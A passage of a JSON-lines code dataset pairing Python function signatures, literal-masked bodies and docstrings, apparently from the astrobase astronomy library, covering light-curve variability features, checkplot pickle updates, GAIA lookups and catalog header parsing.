this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    magsarefluxes : bool\n        If True, indicates the input time-series is fluxes and not mags.\n\n    kwargs : additional kwargs\n        These are passed directly to `scipy.signal.savgol_filter`.\n\n    Returns\n    -------\n\n    float\n        The calculated CDPP value.", "id": "f14718:m6"}
{"signature": "def all_nonperiodic_features(times, mags, errs,<EOL>magsarefluxes=False,<EOL>stetson_weightbytimediff=True):", "body": "<EOL>finiteind = npisfinite(times) & npisfinite(mags) & npisfinite(errs)<EOL>ftimes, fmags, ferrs = times[finiteind], mags[finiteind], errs[finiteind]<EOL>nzind = npnonzero(ferrs)<EOL>ftimes, fmags, ferrs = ftimes[nzind], fmags[nzind], ferrs[nzind]<EOL>xfeatures = nonperiodic_lightcurve_features(times, mags, errs,<EOL>magsarefluxes=magsarefluxes)<EOL>stetj = stetson_jindex(ftimes, fmags, ferrs,<EOL>weightbytimediff=stetson_weightbytimediff)<EOL>stetk = stetson_kindex(fmags, ferrs)<EOL>xfeatures.update({'<STR_LIT>':stetj,<EOL>'<STR_LIT>':stetk})<EOL>return xfeatures<EOL>", "docstring": "This rolls up the feature functions above and returns a single dict.\n\n    NOTE: this doesn't calculate the CDPP to save time since binning and\n    smoothing takes a while for dense light curves.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The input mag/flux time-series to calculate CDPP for.\n\n    magsarefluxes : bool\n        If True, indicates `mags` is actually an array of flux values.\n\n    stetson_weightbytimediff : bool\n        If this is True, the Stetson index for any pair of mags will be\n        reweighted by the difference in times between them using the scheme in\n        Fruth+ 2012 and Zhange+ 2003 (as seen in Sokolovsky+ 2017)::\n\n            w_i = exp(- (t_i+1 - t_i)/ delta_t )\n\n    Returns\n    -------\n\n    dict\n        Returns a dict with all of the variability features.", "id": "f14718:m7"}
{"signature": "def update_checkplot_objectinfo(cpf,<EOL>fast_mode=False,<EOL>findercmap='<STR_LIT>',<EOL>finderconvolve=None,<EOL>deredden_object=True,<EOL>custom_bandpasses=None,<EOL>gaia_submit_timeout=<NUM_LIT>,<EOL>gaia_submit_tries=<NUM_LIT:3>,<EOL>gaia_max_timeout=<NUM_LIT>,<EOL>gaia_mirror=None,<EOL>complete_query_later=True,<EOL>lclistpkl=None,<EOL>nbrradiusarcsec=<NUM_LIT>,<EOL>maxnumneighbors=<NUM_LIT:5>,<EOL>plotdpi=<NUM_LIT:100>,<EOL>findercachedir='<STR_LIT>',<EOL>verbose=True):", "body": "cpd = _read_checkplot_picklefile(cpf)<EOL>if cpd['<STR_LIT>']['<STR_LIT>'] is not None:<EOL><INDENT>objecttags = cpd['<STR_LIT>']['<STR_LIT>'][::]<EOL><DEDENT>else:<EOL><INDENT>objecttags = None<EOL><DEDENT>varinfo = deepcopy(cpd['<STR_LIT>'])<EOL>if '<STR_LIT>' in cpd and cpd['<STR_LIT>'] is not None:<EOL><INDENT>comments = cpd['<STR_LIT>'][::]<EOL><DEDENT>else:<EOL><INDENT>comments = None<EOL><DEDENT>newcpd = _pkl_finder_objectinfo(cpd['<STR_LIT>'],<EOL>varinfo,<EOL>findercmap,<EOL>finderconvolve,<EOL>cpd['<STR_LIT>'],<EOL>cpd['<STR_LIT>'],<EOL>cpd['<STR_LIT>'],<EOL>fast_mode=fast_mode,<EOL>deredden_object=deredden_object,<EOL>custom_bandpasses=custom_bandpasses,<EOL>gaia_submit_timeout=gaia_submit_timeout,<EOL>gaia_submit_tries=gaia_submit_tries,<EOL>gaia_max_timeout=gaia_max_timeout,<EOL>gaia_mirror=gaia_mirror,<EOL>complete_query_later=complete_query_later,<EOL>lclistpkl=lclistpkl,<EOL>nbrradiusarcsec=nbrradiusarcsec,<EOL>maxnumneighbors=maxnumneighbors,<EOL>plotdpi=plotdpi,<EOL>findercachedir=findercachedir,<EOL>verbose=verbose)<EOL>if (newcpd['<STR_LIT>'] is None and<EOL>cpd['<STR_LIT>'] is not None):<EOL><INDENT>newcpd['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']<EOL>)<EOL><DEDENT>if (newcpd['<STR_LIT>'] is None and<EOL>cpd['<STR_LIT>'] is not None):<EOL><INDENT>newcpd['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']<EOL>)<EOL><DEDENT>if (('<STR_LIT>' in newcpd['<STR_LIT>']['<STR_LIT>'] or<EOL>('<STR_LIT>' in newcpd['<STR_LIT>'] and<EOL>newcpd['<STR_LIT>']['<STR_LIT>'] is None)) and<EOL>'<STR_LIT>' in cpd['<STR_LIT>']['<STR_LIT>']):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL>if '<STR_LIT>' in cpd['<STR_LIT>']:<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (not np.isfinite(newcpd['<STR_LIT>']['<STR_LIT>']) and<EOL>np.isfinite(cpd['<STR_LIT>']['<STR_LIT>'])):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (not np.isfinite(newcpd['<STR_LIT>']['<STR_LIT>']) and<EOL>np.isfinite(cpd['<STR_LIT>']['<STR_LIT>'])):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (not np.isfinite(newcpd['<STR_LIT>']['<STR_LIT>']) and<EOL>np.isfinite(cpd['<STR_LIT>']['<STR_LIT>'])):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (newcpd['<STR_LIT>']['<STR_LIT>'] is None and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (newcpd['<STR_LIT>']['<STR_LIT>'] is None and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (newcpd['<STR_LIT>']['<STR_LIT>'] is None and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (newcpd['<STR_LIT>']['<STR_LIT>'] is None and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (newcpd['<STR_LIT>']['<STR_LIT>'] is None and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (newcpd['<STR_LIT>']['<STR_LIT>'] is None and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (newcpd['<STR_LIT>']['<STR_LIT>'] is None and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (newcpd['<STR_LIT>']['<STR_LIT>'] is None and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (newcpd['<STR_LIT>']['<STR_LIT>'] is None and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (newcpd['<STR_LIT>']['<STR_LIT>'] is None and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (newcpd['<STR_LIT>']['<STR_LIT>'] is None and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (newcpd['<STR_LIT>']['<STR_LIT>'] is None and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if ('<STR_LIT>' in newcpd['<STR_LIT>']['<STR_LIT>'] and<EOL>'<STR_LIT>' in cpd['<STR_LIT>']['<STR_LIT>']):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (newcpd['<STR_LIT>']['<STR_LIT>'] is None and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (newcpd['<STR_LIT>']['<STR_LIT>'] is None and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (newcpd['<STR_LIT>']['<STR_LIT>'] is None and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (newcpd['<STR_LIT>']['<STR_LIT>'] is None and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (newcpd['<STR_LIT>']['<STR_LIT>'] is None and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (newcpd['<STR_LIT>']['<STR_LIT>'] is None and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (newcpd['<STR_LIT>']['<STR_LIT>'] is None and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (newcpd['<STR_LIT>']['<STR_LIT>'] is None and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>if (newcpd['<STR_LIT>']['<STR_LIT>'] is None and<EOL>cpd['<STR_LIT>']['<STR_LIT>'] is not None):<EOL><INDENT>newcpd['<STR_LIT>']['<STR_LIT>'] = deepcopy(<EOL>cpd['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL><DEDENT>cpd.update(newcpd)<EOL>cpd['<STR_LIT>']['<STR_LIT>'] = objecttags<EOL>cpd['<STR_LIT>'] = comments<EOL>newcpf = _write_checkplot_picklefile(cpd, outfile=cpf)<EOL>return newcpf<EOL>", "docstring": "This updates a checkplot objectinfo dict.\n\n    Useful in cases where a previous round of GAIA/finderchart/external catalog\n    acquisition failed. This will preserve the following keys in the checkplot\n    if they exist::\n\n        comments\n        varinfo\n        objectinfo.objecttags\n\n    Parameters\n    ----------\n\n    cpf : str\n        The path to the checkplot pickle to update.\n\n    fast_mode : bool or float\n        This runs the external catalog operations in a \"fast\" mode, with short\n        timeouts and not trying to hit external catalogs that take a long time\n        to respond. See the docstring for\n        :py:func:`astrobase.checkplot.pkl_utils._pkl_finder_objectinfo` for\n        details on how this works. If this is True, will run in \"fast\" mode with\n        default timeouts (5 seconds in most cases). If this is a float, will run\n        in \"fast\" mode with the provided timeout value in seconds.\n\n    findercmap : str or matplotlib.cm.ColorMap object\n        The Colormap object to use for the finder chart image.\n\n    finderconvolve : astropy.convolution.Kernel object or None\n        If not None, the Kernel object to use for convolving the finder image.\n\n    deredden_objects : bool\n        If this is True, will use the 2MASS DUST service to get extinction\n        coefficients in various bands, and then try to deredden the magnitudes\n        and colors of the object already present in the checkplot's objectinfo\n        dict.\n\n    custom_bandpasses : dict\n        This is a dict used to provide custom bandpass definitions for any\n        magnitude measurements in the objectinfo dict that are not automatically\n        recognized by the `varclass.starfeatures.color_features` function. See\n        its docstring for details on the required format.\n\n    gaia_submit_timeout : float\n        Sets the timeout in seconds to use when submitting a request to look up\n        the object's information to the GAIA service. Note that if `fast_mode`\n        is set, this is ignored.\n\n    gaia_submit_tries : int\n        Sets the maximum number of times the GAIA services will be contacted to\n        obtain this object's information. If `fast_mode` is set, this is\n        ignored, and the services will be contacted only once (meaning that a\n        failure to respond will be silently ignored and no GAIA data will be\n        added to the checkplot's objectinfo dict).\n\n    gaia_max_timeout : float\n        Sets the timeout in seconds to use when waiting for the GAIA service to\n        respond to our request for the object's information. Note that if\n        `fast_mode` is set, this is ignored.\n\n    gaia_mirror : str\n        This sets the GAIA mirror to use. This is a key in the\n        :py:data:`astrobase.services.gaia.GAIA_URLS` dict which defines the URLs\n        to hit for each mirror.\n\n    complete_query_later : bool\n        If this is True, saves the state of GAIA queries that are not yet\n        complete when `gaia_max_timeout` is reached while waiting for the GAIA\n        service to respond to our request. A later call for GAIA info on the\n        same object will attempt to pick up the results from the existing query\n        if it's completed. If `fast_mode` is True, this is ignored.\n\n    lclistpkl : dict or str\n        If this is provided, must be a dict resulting from reading a catalog\n        produced by the `lcproc.catalogs.make_lclist` function or a str path\n        pointing to the pickle file produced by that function. This catalog is\n        used to find neighbors of the current object in the current light curve\n        collection. Looking at neighbors of the object within the radius\n        specified by `nbrradiusarcsec` is useful for light curves produced by\n        instruments that have a large pixel scale, so are susceptible to\n        blending of variability and potential confusion of neighbor variability\n        with that of the actual object being looked at. If this is None, no\n        neighbor lookups will be performed.\n\n    nbrradiusarcsec : float\n        The radius in arcseconds to use for a search conducted around the\n        coordinates of this object to look for any potential confusion and\n        blending of variability amplitude caused by their proximity.\n\n    maxnumneighbors : int\n        The maximum number of neighbors that will have their light curves and\n        magnitudes noted in this checkplot as potential blends with the target\n        object.\n\n    plotdpi : int\n        The resolution in DPI of the plots to generate in this function\n        (e.g. the finder chart, etc.)\n\n    findercachedir : str\n        The path to the astrobase cache directory for finder chart downloads\n        from the NASA SkyView service.\n\n    verbose : bool\n        If True, will indicate progress and warn about potential problems.\n\n    Returns\n    -------\n\n    str\n        Path to the updated checkplot pickle file.", "id": "f14719:m0"}
{"signature": "def finalize_checkplot(cpx,<EOL>outdir,<EOL>all_lclistpkl,<EOL>objfits=None):", "body": "", "docstring": "This is used to prevent any further changes to the checkplot.\n\n    TODO: finish this.\n\n    Use this function after all variable classification, period-finding, and\n    object xmatches are done. This function will add a 'final' key to the\n    checkplot, which will contain:\n\n    - a phased LC plot with the period and epoch set after review using the\n      times, mags, errs after any appropriate filtering and sigclip was done in\n      the checkplotserver UI\n\n    - The unphased LC using the times, mags, errs after any appropriate\n      filtering and sigclip was done in the checkplotserver UI\n\n    - the same plots for any LC collection neighbors\n\n    - the survey cutout for the object if objfits is provided and checks out\n\n    - a redone neighbor search using GAIA and all light curves in the collection\n      even if they don't have at least 1000 observations.\n\n    These items will be shown in a special 'Final' tab in the `checkplotserver`\n    webapp (this should be run in `readonly` mode as well). The final tab will\n    also contain downloadable links for the checkplot pickle in pkl and PNG\n    format, as well as the final times, mags, errs as a gzipped CSV with a\n    header containing all of this info.\n\n    Parameters\n    ----------\n\n    cpx : dict or str\n        This is the path to the checkplot dict or pickle file to process.\n\n    outdir : str\n        This is the directory to where the final pickle will be written. If this\n        is set to the same dir as `cpx` and `cpx` is a pickle, the function will\n        return a failure. This is meant to keep the in-process checkplots\n        separate from the finalized versions.\n\n    all_lclistpkl : str or dict\n        This is the path to the pickle or the dict created by\n        :py:func:`astrobase.lcproc.catalogs.make_lclist` with no restrictions on\n        the number of observations (so ALL light curves in the collection). This\n        is used to make sure all neighbors of this object in the light curve\n        collection have had their proximity to this object noted.\n\n    objfits : str or None\n        If this is not None, should be a file path to a FITS file containing a\n        WCS header and this object from the instrument that was used to observe\n        it. This will be used to make a stamp cutout of the object using the\n        actual image it was detected on. This will be a useful comparison to the\n        usual DSS POSS-RED2 image used by the checkplots.\n\n    Returns\n    -------\n\n    str\n        The path to the updated checkplot pickle file with a 'final' key added\n        to it , as described above.", "id": "f14719:m1"}
{"signature": "def parallel_finalize_cplist(cplist,<EOL>outdir,<EOL>objfits=None):", "body": "", "docstring": "This is a parallel driver for `finalize_checkplot`, operating on a list\n    of checkplots.\n\n    Parameters\n    ----------\n\n    cplist : list of str\n        This is a list of paths of all checkplot pickles to process and run\n        through the finalization process.\n\n    outdir : str\n        The directory to where the finalized checkplot pickles will be written.\n\n    objfits : str\n        Path to the FITS file containing a WCS header and detections of all\n        objects observed by the actual instrument that obtained the light\n        curves. This should generally be a high quality 'reference' frame so\n        that all of the objects whose checkplots we're finalizing (in `cplist`)\n        can be seen on the frame.\n\n    Returns\n    -------\n\n    dict\n        Dict indicating the success/failure (as True/False) of the checkplot\n        finalize operations for each checkplot pickle provided in `cplist`.", "id": "f14719:m2"}
{"signature": "def parallel_finalize_cpdir(cpdir,<EOL>outdir,<EOL>cpfileglob='<STR_LIT>',<EOL>objfits=None):", "body": "", "docstring": "This is a parallel driver for `finalize_checkplot`, operating on a\n    directory of checkplots.\n\n    Parameters\n    ----------\n\n    cpdir : str\n        This is the path to the directory containing all the checkplot pickles\n        to process and run through the finalization process.\n\n    outdir : str\n        The directory to where the finalized checkplot pickles will be written.\n\n    objfits : str\n        Path to the FITS file containing a WCS header and detections of all\n        objects observed by the actual instrument that obtained the light\n        curves. This should generally be a high quality 'reference' frame so\n        that all of the objects whose checkplots we're finalizing (in `cplist`)\n        can be seen on the frame.\n\n    Returns\n    -------\n\n    dict\n        Dict indicating the success/failure (as True/False) of the checkplot\n        finalize operations for each checkplot pickle provided in `cplist`.", "id": "f14719:m3"}
{"signature": "def _base64_to_file(b64str, outfpath, writetostrio=False):", "body": "try:<EOL><INDENT>filebytes = base64.b64decode(b64str)<EOL>if writetostrio:<EOL><INDENT>outobj = StrIO(filebytes)<EOL>return outobj<EOL><DEDENT>else:<EOL><INDENT>with open(outfpath,'<STR_LIT:wb>') as outfd:<EOL><INDENT>outfd.write(filebytes)<EOL><DEDENT>if os.path.exists(outfpath):<EOL><INDENT>return outfpath<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>' % outfpath)<EOL>return None<EOL><DEDENT><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>'<STR_LIT>' % outfpath)<EOL>return None<EOL><DEDENT>", "docstring": "This converts the base64 encoded string to a file.\n\n    Parameters\n    ----------\n\n    b64str : str\n        A base64 encoded strin that is the output of `base64.b64encode`.\n\n    outfpath : str\n        The path to where the file will be written. This should include an\n        appropriate extension for the file (e.g. a base64 encoded string that\n        represents a PNG should have its `outfpath` end in a '.png') so the OS\n        can open these files correctly.\n\n    writetostrio : bool\n        If this is True, will return a StringIO object with the binary stream\n        decoded from the base64-encoded input string `b64str`. This can be\n        useful to embed these into other files without having to write them to\n        disk.\n\n    Returns\n    -------\n\n    str or StringIO object\n        If `writetostrio` is False, will return the output file's path as a\n        str. If it is True, will return a StringIO object directly. If writing\n        the file fails in either case, will return None.", "id": "f14720:m0"}
{"signature": "def _read_checkplot_picklefile(checkplotpickle):", "body": "if checkplotpickle.endswith('<STR_LIT>'):<EOL><INDENT>try:<EOL><INDENT>with gzip.open(checkplotpickle,'<STR_LIT:rb>') as infd:<EOL><INDENT>cpdict = pickle.load(infd)<EOL><DEDENT><DEDENT>except UnicodeDecodeError:<EOL><INDENT>with gzip.open(checkplotpickle,'<STR_LIT:rb>') as infd:<EOL><INDENT>cpdict = pickle.load(infd, encoding='<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>with open(checkplotpickle,'<STR_LIT:rb>') as infd:<EOL><INDENT>cpdict = pickle.load(infd)<EOL><DEDENT><DEDENT>except UnicodeDecodeError:<EOL><INDENT>with open(checkplotpickle,'<STR_LIT:rb>') as infd:<EOL><INDENT>cpdict = pickle.load(infd, encoding='<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>return cpdict<EOL>", "docstring": "This reads a checkplot gzipped pickle file back into a dict.\n\n    NOTE: the try-except is for Python 2 pickles that have numpy arrays in\n    them. Apparently, these aren't compatible with Python 3. See here:\n\n    http://stackoverflow.com/q/11305790\n\n    The workaround is noted in this answer:\n\n    http://stackoverflow.com/a/41366785\n\n    Parameters\n    ----------\n\n    checkplotpickle : str\n        The path to a checkplot pickle file. This can be a gzipped file (in\n        which case the file extension should end in '.gz')\n\n    Returns\n    -------\n\n    dict\n        This returns a checkplotdict.", "id": "f14720:m1"}
{"signature": "def _write_checkplot_picklefile(checkplotdict,<EOL>outfile=None,<EOL>protocol=None,<EOL>outgzip=False):", "body": "<EOL>if ((sys.version_info[<NUM_LIT:0>:<NUM_LIT:2>] >= (<NUM_LIT:3>,<NUM_LIT:4>) and not protocol) or<EOL>(protocol > <NUM_LIT:2>)):<EOL><INDENT>protocol = <NUM_LIT:4><EOL><DEDENT>elif ((sys.version_info[<NUM_LIT:0>:<NUM_LIT:2>] >= (<NUM_LIT:3>,<NUM_LIT:0>) and not protocol) or<EOL>(protocol > <NUM_LIT:2>)):<EOL><INDENT>protocol = <NUM_LIT:3><EOL><DEDENT>elif sys.version_info[<NUM_LIT:0>:<NUM_LIT:2>] == (<NUM_LIT:2>,<NUM_LIT:7>) and not protocol:<EOL><INDENT>protocol = <NUM_LIT:2><EOL><DEDENT>elif not protocol:<EOL><INDENT>protocol = <NUM_LIT:0><EOL><DEDENT>if outgzip:<EOL><INDENT>if not outfile:<EOL><INDENT>outfile = (<EOL>'<STR_LIT>'.format(<EOL>objectid=squeeze(checkplotdict['<STR_LIT>']).replace('<STR_LIT:U+0020>','<STR_LIT:->')<EOL>)<EOL>)<EOL><DEDENT>with gzip.open(outfile,'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(checkplotdict,outfd,protocol=protocol)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if not outfile:<EOL><INDENT>outfile = (<EOL>'<STR_LIT>'.format(<EOL>objectid=squeeze(checkplotdict['<STR_LIT>']).replace('<STR_LIT:U+0020>','<STR_LIT:->')<EOL>)<EOL>)<EOL><DEDENT>if outfile.endswith('<STR_LIT>'):<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>with gzip.open(outfile,'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(checkplotdict,outfd,protocol=protocol)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>with open(outfile,'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(checkplotdict,outfd,protocol=protocol)<EOL><DEDENT><DEDENT><DEDENT>return os.path.abspath(outfile)<EOL>", "docstring": "This writes the checkplotdict to a (gzipped) pickle file.\n\n    Parameters\n    ----------\n\n    checkplotdict : dict\n        This the checkplotdict to write to the pickle file.\n\n    outfile : None or str\n        The path to the output pickle file to write. If `outfile` is None,\n        writes a (gzipped) pickle file of the form:\n\n        checkplot-{objectid}.pkl(.gz)\n\n        to the current directory.\n\n    protocol : int\n        This sets the pickle file protocol to use when writing the pickle:\n\n        If None, will choose a protocol using the following rules:\n\n        - 4 -> default in Python >= 3.4 - fast but incompatible with Python 2\n        - 3 -> default in Python 3.0-3.3 - mildly fast\n        - 2 -> default in Python 2 - very slow, but compatible with Python 2/3\n\n        The default protocol kwarg is None, this will make an automatic choice\n        for pickle protocol that's best suited for the version of Python in\n        use. Note that this will make pickles generated by Py3 incompatible with\n        Py2.\n\n    outgzip : bool\n        If this is True, will gzip the output file. Note that if the `outfile`\n        str ends in a gzip, this will be automatically turned on.\n\n    Returns\n    -------\n\n    str\n        The absolute path to the written checkplot pickle file. None if writing\n        fails.", "id": "f14720:m2"}
{"signature": "def _parse_xmatch_catalog_header(xc, xk):", "body": "catdef = []<EOL>if xc.endswith('<STR_LIT>'):<EOL><INDENT>infd = gzip.open(xc,'<STR_LIT:rb>')<EOL><DEDENT>else:<EOL><INDENT>infd = open(xc,'<STR_LIT:rb>')<EOL><DEDENT>for line in infd:<EOL><INDENT>if line.decode().startswith('<STR_LIT:#>'):<EOL><INDENT>catdef.append(<EOL>line.decode().replace('<STR_LIT:#>','<STR_LIT>').strip().rstrip('<STR_LIT:\\n>')<EOL>)<EOL><DEDENT>if not line.decode().startswith('<STR_LIT:#>'):<EOL><INDENT>break<EOL><DEDENT><DEDENT>if not len(catdef) > <NUM_LIT:0>:<EOL><INDENT>LOGERROR(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % xc)<EOL>return None<EOL><DEDENT>catdef = '<STR_LIT:U+0020>'.join(catdef)<EOL>catdefdict = json.loads(catdef)<EOL>catdefkeys = [x['<STR_LIT:key>'] for x in catdefdict['<STR_LIT>']]<EOL>catdefdtypes = [x['<STR_LIT>'] for x in catdefdict['<STR_LIT>']]<EOL>catdefnames = [x['<STR_LIT:name>'] for x in catdefdict['<STR_LIT>']]<EOL>catdefunits = [x['<STR_LIT>'] for x in catdefdict['<STR_LIT>']]<EOL>catcolinds = []<EOL>catcoldtypes = []<EOL>catcolnames = []<EOL>catcolunits = []<EOL>for xkcol in xk:<EOL><INDENT>if xkcol in catdefkeys:<EOL><INDENT>xkcolind = catdefkeys.index(xkcol)<EOL>catcolinds.append(xkcolind)<EOL>catcoldtypes.append(catdefdtypes[xkcolind])<EOL>catcolnames.append(catdefnames[xkcolind])<EOL>catcolunits.append(catdefunits[xkcolind])<EOL><DEDENT><DEDENT>return (infd, catdefdict,<EOL>catcolinds, catcoldtypes, catcolnames, catcolunits)<EOL>", "docstring": "This parses the header for a catalog file and returns it as a file object.\n\nParameters\n----------\n\nxc : str\n    The file name of an xmatch catalog prepared previously.\n\nxk : list of str\n    This is a list of column names to extract from the xmatch catalog.\n\nReturns\n-------\n\ntuple\n    The tuple returned is of the form::\n\n        (infd: the file object associated with the opened xmatch catalog,\n         catdefdict: a dict describing the catalog column definitions,\n         catcolinds: column number indices of the catalog,\n         catcoldtypes: the numpy dtypes of the catalog columns,\n         catcolnames: the names of each catalog column,\n         catcolunits: the units associated with each catalog column)", "id": "f14721:m0"}
